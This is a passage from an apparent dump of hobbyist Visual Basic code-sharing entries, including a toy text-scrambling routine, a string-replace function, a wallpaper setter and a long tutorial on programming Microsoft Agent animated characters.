Mid$(DecryptData, i, 1) = Chr(Asc(Letter) - 2)\n Next i\n \n If Len(DecryptData) Mod 2 = 0 Then\n Side1 = StrReverse(Left(DecryptData, (Len(DecryptData) / 2)))\n Side2 = StrReverse(Right(DecryptData, (Len(DecryptData) / 2)))\n DecryptData = Side1 & Side2\n Else\n Side0 = StrReverse(DecryptData)\n For i = 1 To Len(Side0)\n Letter = Mid$(Side0, i, 1)\n Mid$(Side0, i, 1) = Chr(Asc(Letter) - 9)\n Next i\n DecryptData = Side0\n End If\n \n Decrypt = DecryptData 'LCase(DecryptData)\nEnd Function\n' [: ENCRYPTDATA & DECRYPTDATA 2 B PASSED :]\nPrivate Sub Command1_Click()\nDim EncryptData As String\nCheckLength\nIf DataLength = True Then\n EncryptData = EncryptData & Encrypt(Text1.Text)\n Text2.Text = EncryptData\nElse\n MsgBox \"Sorry, Not Enuogh Characters\"\nEnd If\nEnd Sub\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nPrivate Sub Command2_Click()\nDim DecryptData As String, DecryptRegData As String\n DecryptData = DecryptData & Decrypt(Text2.Text) '(DecryptRegData)\n Text3.Text = DecryptData\nEnd Sub\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nSub CheckLength()\n If Len(Text1.Text) <= 3 Then\n DataLength = False\n Else\n DataLength = True\n End If\nEnd Sub\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nPrivate Sub Form_Load()\n DataLength = False\nEnd Sub\n"},{"WorldId":1,"id":13838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13865,"LineNumber":1,"line":"'Explainaion - http://go.to/cyberprogrammer\nPrivate Sub cmdReplace_Click()\n Text1.Text = pReplace(Text1.Text, txtFind, txtReplace)\nEnd Sub\n\nPublic Function pReplace(strExpression As String, strFind As String, strReplace As String)\n Dim intX As Integer\n If (Len(strExpression) - Len(strFind)) >= 0 Then\n For intX = 1 To Len(strExpression)\n If Mid(strExpression, intX, Len(strFind)) = strFind Then\n strExpression = Left(strExpression, (intX - 1)) + strReplace + Mid(strExpression, intX + Len(strFind), Len(strExpression))\n End If\n Next\n End If\n pReplace = strExpression\nEnd Function\n"},{"WorldId":1,"id":13867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13879,"LineNumber":1,"line":"This \"TETNICK\" Application is a homeclass program for the pupils to use it for a specific school.\nThis Program was created by me , Sagi Klein , from Tet5 ,Alon Juniour High , Raanana , Israel.\nMy Homeclass app is packed with great features , offline and online.\nThe program was created in VB6 but the code will be transferd to VB7 (VB.NET) as soon as Microsoft will realese the FINAL version cause Microsoft don't allow publishing EXE's that has been Compiled on the BETA version.\nThe program has been made for 40 pupils class but Had over 200 downloads! (and more to come...)\nTetNick prv. Name was \"Tikshurit\" , in english You might call it \"Communcationer\" but Tikshurit And another competitor (the only one) in the same School that was called Pitput-TET (In english: Babbler) has merged to Tikshurit , so Tikshurit And Pitput-TET became \"TETNICK!\".\nThe Program is in Hebrew but will be in english during FEBUARY 2001!.\nThe TETNCIK is totally free, so you can download It from www.TETNICK.com and take it as example.\nCause from now , I Proud to Annouce the ....\n\"Create your own HomeClass Application!\"\nLet's build a world full of TETNick's!!!\nFor every single education system in the world!\nJust don't forget the SAGI KLEIN has started it.\n(ISRAEL!)"},{"WorldId":1,"id":13882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13929,"LineNumber":1,"line":"Option Explicit\n'This code is developed by Ivan Uzunov \n'e-mail: kicheto@goatrance.com\n'Just add this code on a form add a Command1 and press F5 \nPrivate Declare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long\nPrivate Const SPI_SETDESKWALLPAPER = 20\nPrivate Sub Command1_Click()\nDim WallPaper As Long\n 'Just change \"C:\\REDCAP.bmp\" with a existing bitmap on your computer\n WallPaper = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, \"C:\\REDCAP.bmp\", 0)\nEnd Sub\n"},{"WorldId":1,"id":13931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13938,"LineNumber":1,"line":"Here are all types for the Resourse files.\nAdd any type of data like gifs and wavs on a \".res\" file with the Vbasic Resourse editor EASY.\nDownload the sourse and you will have the tutoria l too.\nHave a nice day \nArticle&code by Megalos from Cyprus\n"},{"WorldId":1,"id":13941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13958,"LineNumber":1,"line":"Please see zip file for the tutorial. (It's in Word 95 format)."},{"WorldId":1,"id":13959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13961,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13998,"LineNumber":1,"line":" \nMs Agent\nUnleashed\n \nIntroduction\nThis tutorial covers everything - from\nbuilding your first Ms Agent app, to Using Ms Agent on your website, to using\nthe Office Character files in your apps. Because of popular demand, Speech\nRecognition section added. Also features a section describing making your own\ncharacter files. This tutorial shows you how to do nearly everything\nthe Agent Control can do. \n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nIndex\nGetting Started\n- Provides all the data you need to jump start your Agent application\nDeclaring the Character\nFile - Shows how to declare the\nCharacter file for use in VB\nInitializing the\nCharacter - Shows how to initialize the Character file\nGetting to Know\nThe Different Characters - Familiarize yourself\nwith the different characters\nDisplaying Various\nAnimations - Shows how to get the Character to display\nvarious animations\nUsing Ms Agent With\nVB Script - Shows you how to use Ms Agent with VB Script\nUsing the Office Character\nFiles in Your Ms Agent Apps - Shows how to include\noffice character files in your applications\nSpeech Recognition\n- Shows how to initialize speech recognition \nMaking your Own\nCharacter Files - Describes how to create your\nown character files for use with Ms Agent\nEvents and\nProperties of the Agent Control - Describes the Events and\nProperties of the Agent Control\nFun Agent Code to Add to\nyour Applications - Gives some cool code which makes the Character\ndo some fun things\nExamples of\nHow you can use the Agent Control - Gives some ideas as to\nhow you can use the Agent Control\nCool Web Links\n- Links to the best Ms Agent resource sites on the web\nFrequently Asked\nQuestions - Various related questions and answers.\n \n<hr>\n \nGetting Started\nIn a nutshell, Ms Agent is an ActiveX\ncontrol, created by Microsoft that lets you add a user friendly touch to your\napps via the use of animated characters.\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6 (parts of this tutorial may work in VB 4 if you\nhave Agent 1.5 installed). I am not sure about VB 7 (VB.NET). You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). An open mind and good cup of coffee (or any other\npreferred beverage :)\nwill be helpful.\nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the Robot. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n<hr>\n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English)\n<hr>\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n<hr>\n \nGetting to Know\nThe Different Characters\nAs far as I know, there are 4 default\ncharacters you can use with Ms Agent. You can download them all from the Ms\nAgent Developers Website ( <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n). Although you can configure each character to your own liking, they tend to\nconvey different types of impressions. \nPeedy -\nThe first agent character (I think). He is a temperamental parrot (that's the\nway I see him). I use him mostly to add sarcasm to my apps. Has an (sort of)\nannoying voice - squeaky in parroty sort of way. You use him to some cool stuff\nthough.\n \nGenie -\nCool little guy to add to your apps. Can do some neat stuff too! Use him to add\na touch of class and mystery to your apps. Has an OK voice and has a cool way of\nmoving around.\n \nMerlin -\nYour friendly neighborhood Wizard! Always has the look that he is total control. Also has\na vague look of incomprehension (that's the way I see it!). Useful little dude\nbut I don't like the way he moves around (wears beanie and flies).\n \nRobby -\nProbably the newest addition to the series. Looks like an Robot from some space\nmovie. Has a very metallic, robotic voice. Moves around using jetpacks.\n \nWhat? You don't like any of\nthese characters? Wanna create you're own? It's not easy.. but you can give it a\nshot... Just visit the MSDN page for Ms Agent (check FAQs for web\naddress). \nYou can also download some\ncustoms files. The Agentry, a cool site that has lots of sample applications,\nalso has over 300 character files and some of them are free. Look for the URL in\nthe 'Cool Web Links' section.\n<hr>\n \nDisplaying Various\nAnimations\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n<hr>\n \n \nEvents and\nProperties of the Agent Control\n \nEvents\nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\nchar.play "Idle3_3" 'This\none works only for Peedy I think! - He listens to music!\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the Agent1_BalloonHide\nevent to Set what happens when the Character's speech balloon is shown\nUsing this event you can set what happens\nevery time the speech balloon is shown (basically every time the character\nstarts speaking).\n \nUsing the Agent1_BalloonShow\nevent to Set what happens when the Character's speech balloon is hidden\nUsing this event you can set what happens\nevery time the speech balloon is hidden (basically every time the character\nstops speaking).\n \n \n \nProperties\nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n<hr>\n \nUsing Ms Agent\nwith VB Script\nMs Agent can be used in VB script too. VB\nscript 2.0 is needed to do so. Here is an example. Using VB script is very\nuseful if you want to include MS Agent on your web page. Please note - I am not\ntoo familiar with VB script so If there are any syntax errors please let me\nknow.\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \n \nInitializing The Character\nTo initialize the character you will need to\ncontact the Agent Server.\n<SCRIPT LANGUAGE = “VBSCRIPT”>\n<!—-\n \nDim Char 'Declare the String Char\n \nSub window_OnLoad 'Window_Onload\nEvent\n \nAgentCtl.Characters.Load\n"Genie", "http://agent.microsoft.com/characters/v2/genie/genie.acf"\n \n‘Create an object with reference to the character on the Microsoft\nserver \n \nset Char= AgentCtl.Characters\n("Genie") 'Set the the Char string to = The\nAgent Cotnrol\nChar.Get "state",\n"Showing" \n‘Get the Showing state animation\nChar.Show 'Show the\nCharacter\n \nEnd Sub\n -->\n \n</SCRIPT>\n \nSending Requests to the\nServer\nYou will need to send requests to the agent\nserver in order to do certain commands.\n \nDim Request\n \nSet Request = Agent1.Characters.Load ("Genie", "http://agent.microsoft.com/characters<a name=\"_Hlt390052700\">/v2/genie/</a>genie.acf")\n'Sets the request<o:p>\n</o:p>\n\n \nIf (Request.Status = 2) then 'Request is in\nQueue \n'Add your code here (you\ncan send text to status bar or something)<o:p>\n</o:p>\n\n \nElse If (Request.Status = 0) then 'Request\nsuccessfully completed\n'Add your code here (you\ncan do something like display the annimation)<o:p>\n</o:p>\n\n \nEnd If\n \n \nShowing Animations\nIf you are using VB script you will need to\nget the animations from a server using the Get method. For example the\nfollowing code will get all the 'Moving' animations which the character needs.\nAgentCtl.Characters\n("Peedy").Get "Animation", "Moving", True \nAfter an animation is loaded you should be\nable to play it in the usual way.\n \n<hr>\n \nUsing the Office\nCharacter Files in Your Ms Agent Apps\nAs far as I know, those\ncharacter files are not freeware and cannot be distributed except with office,\nso please don't distribute them with your apps. Use this section for educational\npurposes only.\nThe office character files\ncan do very little (very few animations) and have no speech support, so you'd be\nbetter off using the Ms Agent character files anyway. But hey, I was doing some\nresearch and I found this out so I thought I would add this section. So here we\ngo...\nFirst find all the files on\nyour hard disk with the extension *.acs . You will see some familiar office\nnames too (e.g - Clippit, maybe Rocky). Just copy these files to the Ms Agent \\\nChars folder. Then change the Anim property to equal the character\nname. Example for Clippit -\nAnim = "Clippit"\nChanges the Anim property to Clippit\n \nYou can't really do much\nwith these acs files, but I just thought I'd include this section. \n<hr>\n \nSpeech Recognition\nAnother, feature of Ms\nAgent is it's ability to recognize speech. You will need a microphone or a\nsimilar gadget that lets you input speech into your PC. The following speech\nengine can be used with Ms Agent. Check out the MSDN homepage for Ms Agent for\nthe latest speech engine updates. I've never tried to use the speech recognition\nfacility, so if you find any trouble please email me. If you want to find more\nabout voice recognition I recommend that you visit the MSDN site (URL in the FAQ\nsection).\n \nL&H TruVoice Text-To-Speech\n-American English\nThis will recognize the usual American\nVoice I think.\nCLS ID =\nB8F2846E-CE36-11D0-AC83-00C04FD97575<o:p>\n</o:p>\n\nVersion = 6,0,0,0\n \nHere is some example code of how to create an object of\nthe speech engine (VB Script).\n \n<OBJECT width=0 height=0\n'Opens the Object Tag \nCLASSID="B8F2846E-CE36-11D0-AC83-00C04FD97575<o:p>\n</o:p>\n" 'Tells the Class ID \nCODEBASE="#VERSION=6,0,0,0">\n'Tells the version number \n</OBJECT> 'Closes the Object Tag\n \n<hr>\nMaking your Own\nCharacter Files\nSometime or the other you may need to\ncreate a character that is unique to your application. This section describes\nbriefly how to do this.\n \nUsing the Microsoft Agent\nCharacter Editor\nThis tool is used to assemble, sequence and\ntime the frames. Also this is what is used to input other character details\n(name, description) and to finally compile it to a acs file. You can download it\nfrom the following URL -\n<a href=\"http://msdn.microsoft.com/msagent/charactereditor.asp\">http://msdn.microsoft.com/msagent/charactereditor.asp</a>\n \nFrames\nEvery animation a character does is a timed\nsequence of frames. It is like a cartoon movie or the little 'flip and look'\ncartoons we used to make (remember those?!). Ok so we want to make the character\nwave - we need to draw different shots of his hand at different stages of the\nwave but we can still keep his body the same. This is called overlaying. You\njust change the part of the image you want and let the rest be. The number of\nframes in your animation can be any amount you chose but the usual is around 14\nframes (takes around 6 seconds to process). This also helps to keep the size of\nthe animation small enough for transfer via the web. Frame size should be 128 x\n128 (pixels). Using the Microsoft Agent Character Editor, you have the ability\nto set how long a frame is displayed before the next one is shown. The typical\nduration would be 10 hundredths of a second (about 10 frames a second).\n \nCreating Images\nAnimations need Bitmaps (*.bmp files). The\nimages must be designed on a 256 colour pallete, preserving the standard windows\ncolours in their usual positions (first ten and last ten colours). That means\nthat your palette can use up to 236 other colours. Also if you use many other\ncolours, they may be remapped when your character is displayed on systems that\nhave a 8 bit colour setting. Using lots of different colours also may increase\nthe overall size of your character file. The 11th image in your palette is the\n'alpha colour'. Agent will use this colour to render transparent pixels in your\napplication. This can also be changed using the Microsoft Agent Character\nEditor.\n \nAuthor's Note - I have never really tried\ndoing this. For more information visit the MSDN Ms Agent page (see FAQ for URL).\nIf you attempt this and succeed (or don't succeed) please tell me.\n<hr>\n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n<hr>\n \nFun Agent Code to Add to\nyour Applications\nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n 